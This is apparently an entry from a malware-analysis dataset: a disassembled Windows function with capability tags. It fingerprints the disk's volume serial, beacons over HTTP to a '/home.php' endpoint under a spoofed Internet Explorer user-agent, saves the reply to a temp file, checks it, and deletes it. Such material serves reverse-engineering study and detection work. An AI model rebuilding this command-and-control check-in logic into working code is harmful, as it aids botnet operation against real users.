Function at 0x10018370
Capabilities:
Create thread
Delete file
Get common file path
Get disk information
Query environment variable
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
push 0x104
lea eax, [ebp - 0x314]
push eax
push str.SystemDrive
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
lea ecx, [ebp - 0x314]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push 0
push 0
push 0
push 0
lea edx, [ebp - 4]
push edx
push 0
push 0
lea eax, [ebp - 0x314]
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov ecx, dword [ebp - 4]
test ecx, ecx
jne 0x100183c6
mov ecx, 0xff00ff
mov eax, 0xc000c001
mul ecx
shr edx, 0xe
imul edx, edx, 0x5555
mov eax, 0x2710
sub eax, edx
add ecx, eax
mov dword [ebp - 4], ecx
call fcn.10018220
test eax, eax
jne 0x10018577
mov ecx, dword [ebp - 4]
push ebx
push esi
push edi
push eax
push eax
push ecx
push 0x10018000
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x1001842e
lea edx, [ebp - 8]
push edx
push esi
mov dword [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x1001842e
test byte [ebp - 8], 2
jne 0x1001842e
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x418]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea ecx, [ebp - 0x10c]
push ecx
push 0
push 0
lea edx, [ebp - 0x418]
push edx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
mov eax, dword [ebp - 4]
push eax
push 0x1004fa38
push str.name_sport_u
lea ecx, [ebp - 0x210]
push 0x104
push ecx
call dword [sym.imp.MSVCRT.dll__snprintf]
lea eax, [ebp - 0x210]
add esp, 0x14
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10018484
sub eax, edx
mov ebx, eax
call fcn.10001810
mov edi, str.Mozilla_4.0__compatible__MSIE_2.0__Windows_NT_5.0__Trident_4.0__SLCC2__.NET_CLR_2.0.50727__.NET_CLR_3.5.30729__.NET_CLR_3.0.30728__Media_Center_PC_6.0_
test eax, eax
jne 0x100184a2
mov edi, str.Mozilla_4.0__compatible__MSIE_2.0__Windows_NT_5.0__Trident_4.0__SLCC2__.NET_CLR_2.0.50727__.NET_CLR_3.5.30729__.NET_CLR_3.0.30729__Media_Center_PC_6.0_
call fcn.10012d20
push 1
push 0
push 1
push ebx
lea edx, [ebp - 0x210]
push edx
push 1
mov esi, eax
push edi
lea eax, [ebp - 0x10c]
push eax
push str._home.php
push 0
mov eax, esi
call fcn.10012dc0
test eax, eax
jne 0x100184fc
push 1
push eax
push 1
push ebx
lea ecx, [ebp - 0x210]
push ecx
push 1
push edi
lea edx, [ebp - 0x10c]
push edx
push str._home.php
push 1
mov eax, esi
call fcn.10012dc0
test eax, eax
je 0x1001854c
push 1
push 0
lea eax, [ebp - 0x10c]
call fcn.10005630
mov edi, eax
test edi, edi
je 0x1001854c
push 0x10049bc4
push edi
call dword [sym.imp.MSVCRT.dll_strstr]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
add esp, 8
neg eax
push edi
sbb esi, esi
push 0
neg esi
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x10018548
push edi
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
test esi, esi
jne 0x10018553
push 1
call fcn.10004f90
push 0
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [ebp - 0x10c]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
call fcn.10018300
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret